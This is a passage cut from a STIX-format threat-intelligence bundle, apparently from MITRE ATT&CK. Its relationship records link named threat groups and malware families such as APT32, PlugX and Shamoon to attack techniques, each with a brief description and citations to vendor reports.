                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"
                }
            ],
            "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-07-26T23:07:21.252Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--7e7d5aa9-6860-44fe-88b9-22a6b36162e2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has renamed a NetCat binary to kb-10233.exe to masquerade as a Windows update. [APT32](https://attack.mitre.org/groups/G0050) has also renamed a Cobalt Strike beacon payload to install_flashplayers.exe. (Citation: Cybereason Cobalt Kitty 2017)(Citation: Volexity Ocean Lotus November 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                },
                {
                    "source_name": "Volexity Ocean Lotus November 2020",
                    "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/",
                    "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."
                }
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-11-24T21:27:53.722Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9ef645ab-afd1-41d6-ad60-d207fd134748",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SeaDuke](https://attack.mitre.org/software/S0053) uses HTTP and HTTPS for C2.(Citation: F-Secure The Dukes)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:32:27.141Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a2c9bae6-15aa-4ce0-8f4d-01b8fc32a36d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
            "relationship_type": "uses",
            "target_ref": "malware--0e18b800-906c-4e44-a143-b11c72b3448b",
            "external_references": [
                {
                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8",
                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
                    "source_name": "Mandiant FIN5 GrrCON Oct 2016"
                }
            ],
            "description": "(Citation: Mandiant FIN5 GrrCON Oct 2016)",
            "type": "relationship",
            "modified": "2019-04-24T19:41:25.902Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "description": "[APT1](https://attack.mitre.org/groups/G0006) listed connected network shares.(Citation: Mandiant APT1)",
            "id": "relationship--e07b76a4-98d7-4adc-b90e-a1f7f2266867",
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
            "type": "relationship",
            "modified": "2019-08-20T13:08:13.355Z",
            "created": "2019-01-30T15:33:07.629Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Lazarus Nov 2018",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/",
                    "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018."
                }
            ],
            "description": "[AuditCred](https://attack.mitre.org/software/S0347) uses XOR and RC4 to perform decryption on the code functions.(Citation: TrendMicro Lazarus Nov 2018)",
            "id": "relationship--d98b5525-3cc5-4058-baf5-d614b91eb814",
            "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2020-03-20T16:06:56.346Z",
            "created": "2019-01-30T15:47:41.410Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/",
                    "source_name": "PaloAlto CardinalRat Apr 2017"
                }
            ],
            "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) is downloaded using HTTP over port 443.(Citation: PaloAlto CardinalRat Apr 2017)",
            "id": "relationship--d53cb718-c7a5-42e5-bc2b-dc14ceebbb17",
            "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T00:31:42.765Z",
            "created": "2019-01-30T16:39:54.526Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/muddywater/88059/",
                    "source_name": "Securelist MuddyWater Oct 2018"
                },
                {
                    "source_name": "ClearSky MuddyWater June 2019",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf",
                    "description": "ClearSky. (2019, June). Iranian APT group \u2018MuddyWater\u2019 Adds Exploits to Their Arsenal. Retrieved May 14, 2020."
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware to obtain a list of running processes on the system.(Citation: Securelist MuddyWater Oct 2018)(Citation: ClearSky MuddyWater June 2019)",
            "id": "relationship--9f81120a-adde-47cc-95bc-cd8201eb0a11",
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-05-18T17:43:37.053Z",
            "created": "2019-01-30T17:33:40.978Z"
        },
        {
            "id": "relationship--af4d45e1-1aa4-444c-b176-31df7aaf9374",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TDTESS](https://attack.mitre.org/software/S0164) has a command to download and execute an additional file.(Citation: ClearSky Wilted Tulip July 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ClearSky Wilted Tulip July 2017",
                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"
                }
            ],
            "source_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-19T22:00:22.552Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--4cb1a0d0-6276-4c2c-b299-c26c982e9e1e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PlugX](https://attack.mitre.org/software/S0013) can enumerate and query for information contained within the Windows Registry.(Citation: Lastline PlugX Analysis)(Citation: CIRCL PlugX March 2013)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://labs.lastline.com/an-analysis-of-plugx",
                    "description": "Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.",
                    "source_name": "Lastline PlugX Analysis"
                },
                {
                    "source_name": "CIRCL PlugX March 2013",
                    "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf",
                    "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."
                }
            ],
            "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2019-04-19T15:08:15.965Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--433418bb-0771-4b2d-9d6c-a153f6819798",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Keydnap](https://attack.mitre.org/software/S0276) uses the keychaindump project to read securityd memory.(Citation: synack 2016 review)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "synack 2016 review",
                    "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.",
                    "url": "https://www.synack.com/2017/01/01/mac-malware-2016/"
                }
            ],
            "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72",
            "type": "relationship",
            "modified": "2020-01-17T19:44:36.679Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--27f8b192-9e86-49dc-abca-5bda3f8f7e89",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) hides any strings related to its own indicators of compromise.(Citation: Symantec Darkmoon Aug 2005)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Darkmoon Aug 2005",
                    "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"
                }
            ],
            "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-16T16:57:13.446Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--6d562520-86bb-4251-9431-a4958bec097c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SEASHARPEE](https://attack.mitre.org/software/S0185) can timestomp files on victims using a Web shell.(Citation: FireEye APT34 Webinar Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT34 Webinar Dec 2017",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
                }
            ],
            "source_ref": "malware--0998045d-f96e-4284-95ce-3c8219707486",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
            "type": "relationship",
            "modified": "2020-01-10T15:12:52.357Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--31fb3ebe-3fc9-4257-b7d5-a1b12b54bbe3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) has used UPX to pack [Bandook](https://attack.mitre.org/software/S0234).(Citation: Lookout Dark Caracal Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf",
                    "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.",
                    "source_name": "Lookout Dark Caracal Jan 2018"
                }
            ],
            "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "type": "relationship",
            "modified": "2019-07-16T15:35:21.033Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--553dbb57-1174-494c-9cfd-dbc83ecc74f6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[USBStealer](https://attack.mitre.org/software/S0136) sets the timestamps of its dropper files to the last-access and last-write timestamps of a standard Windows library chosen on the system.(Citation: ESET Sednit USBStealer 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit USBStealer 2014",
                    "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.",
                    "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"
                }
            ],
            "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
            "type": "relationship",
            "modified": "2020-03-11T17:45:54.124Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--93d83b03-8367-4655-84a5-9abaee885700",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SslMM](https://attack.mitre.org/software/S0058) contains a feature to manipulate process privileges and tokens.(Citation: Baumgartner Naikon 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"
                }
            ],
            "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
            "type": "relationship",
            "modified": "2019-04-25T02:48:47.521Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b5a1cf65-c128-4d2e-bd28-54514d1a3aae",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[GeminiDuke](https://attack.mitre.org/software/S0049) uses HTTP and HTTPS for command and control.(Citation: F-Secure The Dukes)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:22:53.981Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1ce61b6a-b1fd-4e21-874a-774a1487fa12",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used Registry keys to detect and avoid executing in potential sandboxes.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"
                }
            ],
            "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2019-03-22T20:21:57.824Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--845482a1-a062-407d-a83e-90d883d1d91b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "type": "relationship",
            "modified": "2019-09-03T18:50:16.909Z",
            "created": "2017-05-31T21:33:27.079Z"
        },
        {
            "id": "relationship--9f653750-2ee6-4d00-906b-c71f1d217288",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Felismus](https://attack.mitre.org/software/S0171) collects the system information, including hostname and OS version, and sends it to the C2 server.(Citation: Forcepoint Felismus Mar 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Felismus Mar 2017",
                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
                }
            ],
            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-17T01:16:15.864Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--cc065036-1b46-4f5c-935e-fb80bd3de7c7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OLDBAIT](https://attack.mitre.org/software/S0138) can use HTTP for C2.(Citation: FireEye APT28)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
                }
            ],
            "source_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:03:18.285Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--73a53379-746e-46db-b101-1fc45df5e458",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Shamoon](https://attack.mitre.org/software/S0140) creates a new service named \u201cntssrv\u201d to execute the payload. [Shamoon](https://attack.mitre.org/software/S0140) can also spread via [PsExec](https://attack.mitre.org/software/S0029).(Citation: Palo Alto Shamoon Nov 2016)(Citation: McAfee Shamoon December19 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "source_name": "Palo Alto Shamoon Nov 2016"
                },
                {
                    "source_name": "McAfee Shamoon December19 2018",
                    "description": "Roccia, T., Saavedra-Morales, J., Beek, C.. (2018, December 19). Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems. Retrieved May 29, 2020.",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-attackers-employ-new-tool-kit-to-wipe-infected-systems/"
                }
            ],
            "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4",
            "type": "relationship",
            "modified": "2020-06-15T14:22:34.198Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.",
                    "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf",
                    "source_name": "GDATA Zeus Panda June 2017"
                }
            ],
            "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) can perform keylogging on the victim\u2019s machine by hooking the functions TranslateMessage and WM_KEYDOWN.(Citation: GDATA Zeus Panda June 2017)",
            "id": "relationship--df0784ed-8411-4215-bebc-51c6ac3bf5df",
            "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T19:54:46.761Z",
            "created": "2019-01-29T17:59:44.405Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "CIRCL PlugX March 2013",
                    "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf",
                    "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."
                }
            ],
            "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module to download and execute files on the compromised machine.(Citation: CIRCL PlugX March 2013)",
            "id": "relationship--7c8e34ad-89a4-44cf-bd56-d1583803f086",
            "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-04-19T15:08:15.994Z",
            "created": "2019-01-29T18:17:59.262Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos Agent Tesla Oct 2018",
                    "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html",
                    "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can encrypt data with 3DES before sending it over to a C2 server.(Citation: Talos Agent Tesla Oct 2018)",
            "id": "relationship--c48ff628-9276-492f-a61c-73989785b292",
            "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "type": "relationship",
            "modified": "2020-05-28T23:41:03.883Z",
            "created": "2019-01-29T18:44:05.137Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/",
                    "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.",
                    "source_name": "PaloAlto UBoatRAT Nov 2017"
                }
            ],
            "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) can start a command shell.(Citation: PaloAlto UBoatRAT Nov 2017)",
            "id": "relationship--3aef452a-4ad9-4882-aebb-0043f2329f1d",
            "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T21:55:03.050Z",
            "created": "2019-01-29T19:09:26.741Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "source_name": "McAfee Night Dragon"
                }
            ],
            "description": "[zwShell](https://attack.mitre.org/software/S0350) can obtain the victim IP address.(Citation: McAfee Night Dragon)",
            "id": "relationship--7558a855-25fc-47cb-84ef-680f337f7d6d",
            "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-16T16:07:39.039Z",
            "created": "2019-01-30T17:48:35.681Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Sofacy Feb 2018",
                    "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."
                }
            ],
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) identifies network drives when they are added to victim systems.(Citation: Securelist Sofacy Feb 2018)",
            "id": "relationship--e27ebd5b-4ed3-4c04-96e3-026bd127ed64",
            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
            "type": "relationship",
